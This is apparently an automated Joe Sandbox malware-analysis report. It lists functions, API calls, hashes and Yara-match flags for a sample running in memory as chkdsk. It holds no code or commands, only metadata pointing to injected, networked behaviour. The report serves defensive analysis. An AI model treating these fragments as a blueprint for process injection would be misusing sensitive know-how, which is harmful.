Associated: 0000000A.00000002.849798315.0000000002100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.0000000002160000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1ff0000_chkdsk.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 34a2345e9ef716244e2d46a9efe759ea4b84b9c33e8f95bda4e579fccc15316f
Instruction ID: bb22edd625d441e86b4201bf2007cb1784deb073e32f09f3a807e6c8f80ed535
Opcode Fuzzy Hash: 34a2345e9ef716244e2d46a9efe759ea4b84b9c33e8f95bda4e579fccc15316f
Instruction Fuzzy Hash: ACB01272104544C7F3099714ED06B8B7210FB80F00F00893AA007828A1DB39992CE456

Uniqueness

Uniqueness Score: -1.00%

Function 0200FB50 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0200FB5B

Memory Dump Source

Source File: 0000000A.00000002.849798315.0000000002000000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FF0000, based on PE: true

Associated: 0000000A.00000002.849798315.0000000001FF0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020E0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.0000000002100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.0000000002160000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1ff0000_chkdsk.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 445a353fbf322f74478a6659fdc04cf8623378f6e443218e16a25411f5af12d5
Instruction ID: 24e1bc86294fbd7a1654c33a96a754a721993c998c3fcb69f8e89524a52cb594
Opcode Fuzzy Hash: 445a353fbf322f74478a6659fdc04cf8623378f6e443218e16a25411f5af12d5
Instruction Fuzzy Hash: 54B01272201544C7E3099B14D906F8B7210FB90F00F00893EE00782851DB38D92CE447

Uniqueness

Uniqueness Score: -1.00%

Function 0200FB68 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0200FB73

Memory Dump Source

Source File: 0000000A.00000002.849798315.0000000002000000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FF0000, based on PE: true

Associated: 0000000A.00000002.849798315.0000000001FF0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020E0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.0000000002100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.0000000002160000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1ff0000_chkdsk.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9be46aa23fef74e92aa7046bff19981ac9c85faae99787f44d25aa72a03369f2
Instruction ID: fe3894545e6d7ff35e2d014bd1b41c27fc981d7cba2425ddd0908e3dd582fca9
Opcode Fuzzy Hash: 9be46aa23fef74e92aa7046bff19981ac9c85faae99787f44d25aa72a03369f2
Instruction Fuzzy Hash: 17B01272100544C7E3099714D906B8B7210FB80F00F008E3AA04782991DB78992DE446

Uniqueness

Uniqueness Score: -1.00%

Function 0200FBB8 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0200FBC3

Memory Dump Source

Source File: 0000000A.00000002.849798315.0000000002000000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FF0000, based on PE: true

Associated: 0000000A.00000002.849798315.0000000001FF0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020E0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.0000000002100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.0000000002160000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1ff0000_chkdsk.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7ba0f55f1fd72216c7a5d20d06c619025faf51988f765d7a98e58a350c3ee9ce
Instruction ID: 98b7ab4c3374ce945d87304c272764997da5ea40185bb6170513ade09291bf69
Opcode Fuzzy Hash: 7ba0f55f1fd72216c7a5d20d06c619025faf51988f765d7a98e58a350c3ee9ce
Instruction Fuzzy Hash: 97B012721005C4C7E30D9714D906B8F7210FB80F00F00893AA40782861DB789A2CE45A

Uniqueness

Uniqueness Score: -1.00%

Function 0200F900 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0200F90E

Memory Dump Source

Source File: 0000000A.00000002.849798315.0000000002000000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FF0000, based on PE: true

Associated: 0000000A.00000002.849798315.0000000001FF0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020E0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.0000000002100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.0000000002160000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1ff0000_chkdsk.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8dbcbf5a4d7b7f1c08d6b628364f414bd548082eea0b37b51084cc01ff771fa2
Instruction ID: 05ac91611fc184a3f88202f4b9a2f722369f22817df951cee1fa85cf63676e78
Opcode Fuzzy Hash: 8dbcbf5a4d7b7f1c08d6b628364f414bd548082eea0b37b51084cc01ff771fa2
Instruction Fuzzy Hash: A2B01272605540C7F30ADB04D915B467251FBC0F00F408934E50746590D77D9E38D587

Uniqueness

Uniqueness Score: -1.00%

Function 0200F9F0 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0200F9FB

Memory Dump Source

Source File: 0000000A.00000002.849798315.0000000002000000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FF0000, based on PE: true

Associated: 0000000A.00000002.849798315.0000000001FF0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020E0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.0000000002100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.0000000002160000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1ff0000_chkdsk.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 14ba51ac3c4685a444062647e83330cf6da9a5db4e41c8a362ae144bb3555ef6
Instruction ID: 864711eabb7dc0f9c0a00528bc7204798e3bbfe8ecaf20bba7921b9fd7ea0c89
Opcode Fuzzy Hash: 14ba51ac3c4685a444062647e83330cf6da9a5db4e41c8a362ae144bb3555ef6
Instruction Fuzzy Hash: B8B012B2200640C7F3199714D90AF4BB310FBD0F00F00CA3AA00781890DA3C992CC44A

Uniqueness

Uniqueness Score: -1.00%

Function 0200FED0 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0200FEDB

Memory Dump Source

Source File: 0000000A.00000002.849798315.0000000002000000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FF0000, based on PE: true

Associated: 0000000A.00000002.849798315.0000000001FF0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020E0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.0000000002100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.0000000002160000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1ff0000_chkdsk.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3f3d7aa38811b8d75e7f035be4e9a31914adf6f2f9842a42369159ae9521bbbf
Instruction ID: 9b30904a3bfeb6814e26683714e5c097bc05a41d35c26203adaeaac906fc0f52
Opcode Fuzzy Hash: 3f3d7aa38811b8d75e7f035be4e9a31914adf6f2f9842a42369159ae9521bbbf
Instruction Fuzzy Hash: C9B01272100580C7E34EA714D906B4B7210FB80F00F408A3AA00781891DB789B2CD98A

Uniqueness

Uniqueness Score: -1.00%

Function 0200FFB4 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0200FFBF

Memory Dump Source

Source File: 0000000A.00000002.849798315.0000000002000000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FF0000, based on PE: true

Associated: 0000000A.00000002.849798315.0000000001FF0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020E0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.0000000002100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.0000000002160000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1ff0000_chkdsk.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4dddc10ebfa889a6a675612f7993cc76823eb4169e77ac0f74568cd9575660f9
Instruction ID: 7e2af0442ae64c9f6bb8df8c94f4cb17495a0f0e8e42cafe04a2b86fa0e4786e
Opcode Fuzzy Hash: 4dddc10ebfa889a6a675612f7993cc76823eb4169e77ac0f74568cd9575660f9
Instruction Fuzzy Hash: A2B012B2104580C7E3099714D906F4B7210FB90F00F40893EA00F81851DB3CD92CD44A

Uniqueness

Uniqueness Score: -1.00%

Function 0200FC60 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0200FC6B

Memory Dump Source

Source File: 0000000A.00000002.849798315.0000000002000000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FF0000, based on PE: true

Associated: 0000000A.00000002.849798315.0000000001FF0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020E0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.0000000002100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.0000000002160000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1ff0000_chkdsk.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b6c387d48eb785842166a0bd4fb6c7cae32a88c5d36fa47243e2a3f83643301c
Instruction ID: 69502d12976c3e383ebc8ea250e6427301c1fd9f045747c541fd94b810363c34
Opcode Fuzzy Hash: b6c387d48eb785842166a0bd4fb6c7cae32a88c5d36fa47243e2a3f83643301c
Instruction Fuzzy Hash: 3AB01277105940C7E349A714DD0AB5B7220FBC0F01F00893AE00781890DA38993CC54A

Uniqueness

Uniqueness Score: -1.00%

Function 0200FD8C Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0200FD9A

Memory Dump Source

Source File: 0000000A.00000002.849798315.0000000002000000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FF0000, based on PE: true

Associated: 0000000A.00000002.849798315.0000000001FF0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020E0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.0000000002100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.0000000002160000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1ff0000_chkdsk.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: bc46901120b7194c8a84a042a6f6d6e6859f3849350b0ab548ee1941b68cff92
Instruction ID: c46011bb0c46dfed5c8ab186c0f719e5b9e72ad0d6ef7da6a0d9d2ed8661a3c9
Opcode Fuzzy Hash: bc46901120b7194c8a84a042a6f6d6e6859f3849350b0ab548ee1941b68cff92
Instruction Fuzzy Hash: 8FB0927110054087E205A704D905B4AB212FB90B00F808A35A4468A591D66A9A28C686

Uniqueness

Uniqueness Score: -1.00%

Function 0200FDC0 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0200FDCB

Memory Dump Source

Source File: 0000000A.00000002.849798315.0000000002000000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FF0000, based on PE: true

Associated: 0000000A.00000002.849798315.0000000001FF0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020E0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.00000000020F7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.0000000002100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.849798315.0000000002160000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1ff0000_chkdsk.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3c5c70486422d4cf76ce1f9e49ddc8b8cfc879bf3efb7896afe645da2070dab7
Instruction ID: d88988b585cc81dca5f800d6bb39f1198a76ae257c125849f4a62a02810904f6
Opcode Fuzzy Hash: 3c5c70486422d4cf76ce1f9e49ddc8b8cfc879bf3efb7896afe645da2070dab7
Instruction Fuzzy Hash: 20B01272140540C7E30A9714DA56B4B7220FB80F40F008D3AA04781891DBB89B2CD486

Uniqueness

Uniqueness Score: -1.00%

Function 000D9040 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 90
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000007D0), ref: 000D90E8

Strings

net.dll, xrefs: 000D90B1, 000D9137, 000D910F, 000D911B, 000D9143
wininet.dll, xrefs: 000D909E, 000D90A7

Memory Dump Source

Source File: 0000000A.00000002.849544062.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c0000_chkdsk.jbxd

Yara matches

Similarity

API ID: Sleep
String ID: net.dll$wininet.dll
API String ID: 3472027048-1269752229
Opcode ID: efb03857d52d6573277e5425356831fb8c5fd27b1abb42dbcb8a01064d596ca9
Instruction ID: 96a1085880f92e5a4133b1ce2fb5a97274aa2e7cffd2d0ec0ba0e2ae8fe13e11
Opcode Fuzzy Hash: efb03857d52d6573277e5425356831fb8c5fd27b1abb42dbcb8a01064d596ca9
Instruction Fuzzy Hash: 2B3172B6500745BBC724DF64D885FA7B7F8BB48B00F10841EF62A5B345D670A550CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 000D903A Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 79
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000007D0), ref: 000D90E8

Strings

net.dll, xrefs: 000D90B1, 000D910F, 000D911B
wininet.dll, xrefs: 000D909E, 000D90A7

Memory Dump Source

Source File: 0000000A.00000002.849544062.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c0000_chkdsk.jbxd

Yara matches

Similarity

API ID: Sleep
String ID: net.dll$wininet.dll
API String ID: 3472027048-1269752229
Opcode ID: dc74945a2ada0337e6cd2ccdab7bd8f058fa11bf438347138828b11928dedcc1
Instruction ID: 7c05aa360f6356e3ed3a6565378cfc3c256b96ef048943ffbbfec1e091583667
Opcode Fuzzy Hash: dc74945a2ada0337e6cd2ccdab7bd8f058fa11bf438347138828b11928dedcc1
Instruction Fuzzy Hash: C721A0B5600345ABCB64DF64C886FABBBF4BB48700F10802EF6296B345D674A554CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 000DA5F0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(&E,?,000D4C9F,000D4C9F,?,000D4526,?,?,?,?,?,00000000,00000000,?), ref: 000DA61D

Strings

&E, xrefs: 000DA612, 000DA61C

Memory Dump Source

Source File: 0000000A.00000002.849544062.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c0000_chkdsk.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID: &E
API String ID: 1279760036-809379005
Opcode ID: ecb7fbf7fbf697e7ed6b19bb654fc0845e00bd12648aab82589a03cf581b1705
Instruction ID: da22c280ce080b69c616058010e085087ab267f391ff398020945c26d950f037
Opcode Fuzzy Hash: ecb7fbf7fbf697e7ed6b19bb654fc0845e00bd12648aab82589a03cf581b1705
Instruction Fuzzy Hash: D3E012B2200208ABDB14EF99DC41EA777ACEF88654F118599BA089B242C630F9108AB0

Uniqueness

Uniqueness Score: -1.00%

Function 000DA623 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(00000060,00000000,.z`,007A002E,00000000,00000060,00000000,00000000,?,?,00700069,?,000C3AF8), ref: 000DA65D

Strings

.z`, xrefs: 000DA64C, 000DA658

Memory Dump Source

Source File: 0000000A.00000002.849544062.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c0000_chkdsk.jbxd

Yara matches

Similarity

API ID: FreeHeap
String ID: .z`
API String ID: 3298025750-1441809116
Opcode ID: b44c1acee337ea0c686e99c1270b2a65a8297b02c87cd28efe42a10116497b9e
Instruction ID: d626d3040b71baf946f899b6ec9bead0253b74d683594578d16b89413c72997d
Opcode Fuzzy Hash: b44c1acee337ea0c686e99c1270b2a65a8297b02c87cd28efe42a10116497b9e
Instruction Fuzzy Hash: 2CE06FB81042800BDB00EF78D8C089B37A4EF82308B10998AF8A987303C230C81ACBB0

Uniqueness

Uniqueness Score: -1.00%

Function 000DA630 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(00000060,00000000,.z`,007A002E,00000000,00000060,00000000,00000000,?,?,00700069,?,000C3AF8), ref: 000DA65D

Strings

.z`, xrefs: 000DA64C, 000DA658

Memory Dump Source

Source File: 0000000A.00000002.849544062.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c0000_chkdsk.jbxd

Yara matches

Similarity

API ID: FreeHeap
String ID: .z`
API String ID: 3298025750-1441809116
Opcode ID: 540c4433df045b48126259b9153db85e530e9dd1f040c1eb84158749b6bc4ef9
Instruction ID: 1c5a6473494bb627cd2705a7199ec21133c7db2ae3c6381b5ebd991af2a36198
Opcode Fuzzy Hash: 540c4433df045b48126259b9153db85e530e9dd1f040c1eb84158749b6bc4ef9
Instruction Fuzzy Hash: ABE01AB12002046BD714DF99DC45EA777ACEF88750F014555B90857242C630E9108AB0

Uniqueness

Uniqueness Score: -1.00%

Function 000C830C Relevance: 3.1, APIs: 2, Instructions: 57
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostThreadMessageW.USER32(0065002E,00000111,00000000,00000000,00000000), ref: 000C836A
PostThreadMessageW.USER32(0065002E,00008003,00000000,?,00000000), ref: 000C838B

Memory Dump Source

Source File: 0000000A.00000002.849544062.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c0000_chkdsk.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: 961365c1e64dfb5fa91f7f1b3c265d0f799480bc51a9c080a2ef6ac3d4a35235
Instruction ID: f8f4ebf41a6176ae3d6892f3457a3994619cc7569558197fe05f2b205443df2c
Opcode Fuzzy Hash: 961365c1e64dfb5fa91f7f1b3c265d0f799480bc51a9c080a2ef6ac3d4a35235
Instruction Fuzzy Hash: 8001A231A8032877E721A7949C43FFE776C6B41F51F05411AFF04BA2C2EAA46A0647F6

Uniqueness

Uniqueness Score: -1.00%

Function 000C8310 Relevance: 3.1, APIs: 2, Instructions: 55
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostThreadMessageW.USER32(0065002E,00000111,00000000,00000000,00000000), ref: 000C836A
PostThreadMessageW.USER32(0065002E,00008003,00000000,?,00000000), ref: 000C838B

Memory Dump Source

Source File: 0000000A.00000002.849544062.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c0000_chkdsk.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: f2c01e1818d052739ee633fa7746fb4f3ba52e36b8bad28e88873d1147d52be0
Instruction ID: b3a93c5c4a9917670513c2a8e18c0f02d206f5db2d28062789c38ee8da622790
Opcode Fuzzy Hash: f2c01e1818d052739ee633fa7746fb4f3ba52e36b8bad28e88873d1147d52be0
Instruction Fuzzy Hash: 1501A231A8032877E721A7949C43FFE776C6B41F51F054119FF04BA2C2EAA46A0647F6

Uniqueness

Uniqueness Score: -1.00%

Function 000D9165 Relevance: 1.6, APIs: 1, Instructions: 115threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000,-00000002,?,00000000,00000000,?,?,000CF040,?,?,00000000), ref: 000D91AC

Memory Dump Source

Source File: 0000000A.00000002.849544062.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c0000_chkdsk.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: b1636710406d8e5d97e47a6dc296f3b50e83a72bb60230d145072509fb5d1aa6
Instruction ID: 4504f2530c409f57e058e4a5ad3fb6a977fdc0cb40b4a7624e8ce663dd87964f
Opcode Fuzzy Hash: b1636710406d8e5d97e47a6dc296f3b50e83a72bb60230d145072509fb5d1aa6
Instruction Fuzzy Hash: 3341AB72600706ABD368DF74CC85FE7B3A9BF84704F40461AF52AA7281DB70B9108BB4

Uniqueness

Uniqueness Score: -1.00%

Function 000CACE0 Relevance: 1.5, APIs: 1, Instructions: 48libraryloaderCOMMON

Download Yara Rule

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 000CAD52

Memory Dump Source

Source File: 0000000A.00000002.849544062.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c0000_chkdsk.jbxd

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 343ab67df369899ddd45e960eb1e1cf1cc0407856a101373337c9296a528243f
Instruction ID: b7b57f6f0c56207bf5655a6f28997d43d4c9fa61c559dc5210e0758bf2357931
Opcode Fuzzy Hash: 343ab67df369899ddd45e960eb1e1cf1cc0407856a101373337c9296a528243f
Instruction Fuzzy Hash: 7C0171B5E4020DABDF10DBE0DC42FDDB3B89B54308F00419AE90997242F630EB04CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 000DA69D Relevance: 1.5, APIs: 1, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateProcessInternalW.KERNEL32(?,00000000,?,?,00000000,00000000,?,?,?,00000000,00000000,?,?,00000000,?,00000000), ref: 000DA6F4

Memory Dump Source

Source File: 0000000A.00000002.849544062.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c0000_chkdsk.jbxd

Yara matches

Similarity

API ID: CreateInternalProcess
String ID:
API String ID: 2186235152-0
Opcode ID: 4b77f1525b28765462c36f99d34f845a7569516c4df3b0827f5949d92dde93ae
Instruction ID: 2c0f4235f2b3b47069d7ace7c83b62c579003701924860a3085a8e4f5316ead2
Opcode Fuzzy Hash: 4b77f1525b28765462c36f99d34f845a7569516c4df3b0827f5949d92dde93ae
Instruction Fuzzy Hash: 6D01F2B6204149AFCB04CF98DC81EEB77A9AF8C314F158658FA5DD7202C634E851CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 000DA6A0 Relevance: 1.5, APIs: 1, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateProcessInternalW.KERNEL32(?,00000000,?,?,00000000,00000000,?,?,?,00000000,00000000,?,?,00000000,?,00000000), ref: 000DA6F4

Memory Dump Source

Source File: 0000000A.00000002.849544062.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, Offset: 000C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c0000_chkdsk.jbxd

Yara matches

Similarity

API ID: CreateInternalProcess
String ID:
API String ID: 2186235152-0
Opcode ID: 91c10d5b09b6f5ff7ee6d1e22534128eefdcfa4a5b7191d55d386dbf4554461c
Instruction ID: 12ded99a47d463587204f8a01ccbcc03bcc57d71ded89eb5fe2477f4f2e219ef
Opcode Fuzzy Hash: 91c10d5b09b6f5ff7ee6d1e22534128eefdcfa4a5b7191d55d386dbf4554461c
Instruction Fuzzy Hash: FF01AFB2210208ABCB54DF89DC80EEB77ADAF8C754F158258BA0D97241C630E851CBA4

Uniqueness

Uniqueness Score: -1.00%

